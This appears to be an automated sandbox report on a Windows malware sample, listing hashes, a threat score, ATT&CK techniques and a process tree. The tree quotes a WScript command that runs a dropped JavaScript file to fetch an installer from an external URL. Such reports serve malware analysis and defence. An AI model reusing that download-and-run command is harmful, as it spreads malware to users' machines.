af837ca38785d9e4dfe12f38de7b346b3454be8078682470a16be91c53efbcb5

Analysis

max time kernel
27s
max time network
47s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
04/12/2022, 09:55

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General

Target

af837ca38785d9e4dfe12f38de7b346b3454be8078682470a16be91c53efbcb5.exe
Size

184KB
MD5

0a58a26f6fefe9e00b544d6228fc73dd
SHA1

3936b26835e511b8f58c16b56dcb272f5c49e39b
SHA256

af837ca38785d9e4dfe12f38de7b346b3454be8078682470a16be91c53efbcb5
SHA512

5658cf41ce5a2e397d782408d2c3f01e7fcde23c3af3c9f5cdb9be7cffd293aa50bd1985f3621daae202024ba63e329c4d1e03fd7bf2173672ef17e05402eacb
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3r:/7BSH8zUB+nGESaaRvoB7FJNndn6

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
2	1020	WScript.exe
6	1020	WScript.exe
8	1020	WScript.exe
10	1020	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	2	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1188 wrote to memory of 1020	1188	af837ca38785d9e4dfe12f38de7b346b3454be8078682470a16be91c53efbcb5.exe	27
PID 1188 wrote to memory of 1020	1188	af837ca38785d9e4dfe12f38de7b346b3454be8078682470a16be91c53efbcb5.exe	27
PID 1188 wrote to memory of 1020	1188	af837ca38785d9e4dfe12f38de7b346b3454be8078682470a16be91c53efbcb5.exe	27
PID 1188 wrote to memory of 1020	1188	af837ca38785d9e4dfe12f38de7b346b3454be8078682470a16be91c53efbcb5.exe	27

C:\Users\Admin\AppData\Local\Temp\af837ca38785d9e4dfe12f38de7b346b3454be8078682470a16be91c53efbcb5.exe
"C:\Users\Admin\AppData\Local\Temp\af837ca38785d9e4dfe12f38de7b346b3454be8078682470a16be91c53efbcb5.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1188
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4403.js" http://www.djapp.info/?domain=OVGdxgOCXK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4403.exe
  2⤵
  - Blocklisted process makes network request
  PID:1020

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf4403.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
memory/1188-54-0x0000000075091000-0x0000000075093000-memory.dmp

Filesize
8KB

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